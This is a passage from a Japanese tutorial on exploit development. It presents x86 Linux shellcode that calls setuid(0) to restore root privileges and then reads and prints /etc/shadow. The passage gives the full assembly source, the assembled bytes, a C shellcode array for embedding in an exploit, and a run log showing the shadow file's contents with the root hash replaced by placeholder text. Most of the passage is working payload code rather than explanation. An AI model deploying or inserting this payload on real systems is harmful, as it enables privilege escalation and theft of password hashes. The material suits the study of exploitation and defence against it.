このペイロードは「/etc/shadow」ファイルの先頭から256バイトを読み込み、文字列としてコマンドライン上に表示する。このペイロードはprint_pass.sを改良したものである。具体的に言えば、setuidシステムコールを追加した。setuidシステムコールは実UIDと実効UIDをrootに変更するシステムコールである。このシステムコールを追加した理由は、SUIDプログラムのなかには保持していたroot権限を放棄するような仕組みを取り入れたプログラムが存在するからである。それゆえに、シェルコード内でroot権限の復帰を行う必要がある。
.globl main
main:
#setuid
xorl %eax, %eax
mov $0x46, %al
xorl %ebx, %ebx
xorl %ecx, %ecx
int $0x80
jmp ONE
TWO:
#open
popl %ebx
xorl %eax, %eax
mov %al, 11(%ebx)
mov $0x5, %al
xorl %ecx, %ecx
int $0x80
#read
xorl %edx, %edx
mov $0xff, %dl
mov %esp, %ecx
mov %eax, %ebx
mov $0x3, %al
int $0x80
#write
mov $0x4, %al
mov $0x1, %bl
int $0x80
#exit
mov $0x1, %al
xorl %ebx, %ebx
int $0x80
ONE:
call TWO
.string "/etc/shadowX"
コード中の文字列の末尾にある「X」はNULLバイトを格納するための予約席である。しかし、Exploitのペイロードは隣接するメモリ空間をハイジャックして実行するようなプログラムであるため、このような予約席は不要である。
このソースコードをコンパイルし、バイトコードに変換する。
31 c0 b0 46 31 db 31 c9 cd 80 eb 24 5b 31 c0 88 43 0b b0 05 31 c9 cd 80 31 d2 b2 ff 89 e1 89 c3 b0 03 cd 80 b0 04 b3 01 cd 80 b0 01 31 db cd 80 e8 d7 ff ff ff 2f 65 74 63 2f 73 68 61 64 6f 77 58
このペイロードを次のようにC言語のExploit([SC] exploit.c) に埋め込む。
char shellcode[]=
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80"
"\xeb\x24\x5b\x31\xc0\x88\x43\x0b\xb0\x05"
"\x31\xc9\xcd\x80\x31\xd2\xb2\xff\x89\xe1"
"\x89\xc3\xb0\x03\xcd\x80\xb0\x04\xb3\x01"
"\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xd7"
"\xff\xff\xff\x2f\x65\x74\x63\x2f\x73\x68"
"\x61\x64\x6f\x77\x58"
;
explpit.cをコンパイルし、実行する。
defolos@glazheim:~/Desktop$ gcc exploit.c defolos@glazheim:~/Desktop$ ./a.out sp = 0xbffff918 ret = 0xbffff918 -------exploit--------------- root:rootのパスワードがここに表示される:13462:0:99999:7::: daemon:*:13462:0:99999:7::: bin:*:13462:0:99999:7::: sys:*:13462:0:99999:7::: sync:*:13462:0:99999:7::: games:*:13462:0:99999:7::: man:*:13462:0:99999:7::: lp:*:13462:0:99999:7::: mail:*:13462:0:9defolos@glazheim:~/Desktop$
正常に動作することが確認できた。
root権限の奪取が成功すれば、catコマンドで/etc/shadowを表示することが可能であり、シェルを起動するペイロードよりもサイズが大きいため有用性が低い。